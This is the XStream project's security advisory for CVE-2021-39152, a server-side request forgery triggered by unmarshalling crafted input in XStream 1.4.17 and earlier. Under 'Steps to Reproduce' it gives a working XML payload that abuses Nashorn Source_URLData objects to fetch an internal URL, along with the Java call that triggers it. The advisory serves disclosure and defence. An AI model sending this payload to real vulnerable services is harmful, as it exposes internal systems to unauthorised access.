



Software

About XStream
News
Change History
Security Aspects
About Versioning

Evaluating XStream

Two Minute Tutorial
License
Download
References
Benchmarks
Code Statistics

Using XStream

Architecture Overview
Object references
Tweaking the Output
Converters
Frequently Asked Questions
Mailing Lists
Reporting Issues

Javadoc

XStream Core
Hibernate Extensions
JMH Module

Tutorials

Two Minute Tutorial
Alias Tutorial
Annotations Tutorial
Converter Tutorial
Object Streams Tutorial
Persistence API Tutorial
JSON Tutorial
StudyTrails

Developing XStream

How to Contribute
Development Team
Source Repository
Continuous Integration

CVE-2021-39152

Vulnerability

CVE-2021-39152: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.

Affected Versions

All versions until and including version 1.4.17 are affected, if using the version out of the box with Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup [XStream's security framework](#) with a whitelist limited to the minimal required types.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request.

Steps to Reproduce

Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

```
<map>
  <entry>
    <jdk.nashorn.internal.runtime.Source_URLData>
      <url>http://localhost:8080/internal/</url>
      <cs>GBK</cs>
      <hash>1111</hash>
      <array>b</array>
      <length>0</length>
      <lastModified>0</lastModified>
    </jdk.nashorn.internal.runtime.Source_URLData>
    <jdk.nashorn.internal.runtime.Source_URLData reference='../jdk.nashorn.internal.runtime.Source_URLData' />
  </entry>
  <entry>
    <jdk.nashorn.internal.runtime.Source_URLData>
      <url>http://localhost:8080/internal/</url>
      <cs reference='../entry/jdk.nashorn.internal.runtime.Source_URLData/cs' />
      <hash>1111</hash>
      <array>b</array>
      <length>0</length>
      <lastModified>0</lastModified>
    </jdk.nashorn.internal.runtime.Source_URLData>
    <jdk.nashorn.internal.runtime.Source_URLData reference='../jdk.nashorn.internal.runtime.Source_URLData' />
  </entry>
</map>
```

```
XStream xstream = new XStream();
xstream.fromXML(xml);
```

As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

Impact

The vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream.

Workarounds

See [workarounds](#) for the different versions covering all CVEs.

Credits

m0d9 of the Security Team of Alibaba Cloud found and reported the issue to XStream and provided the required information to reproduce it.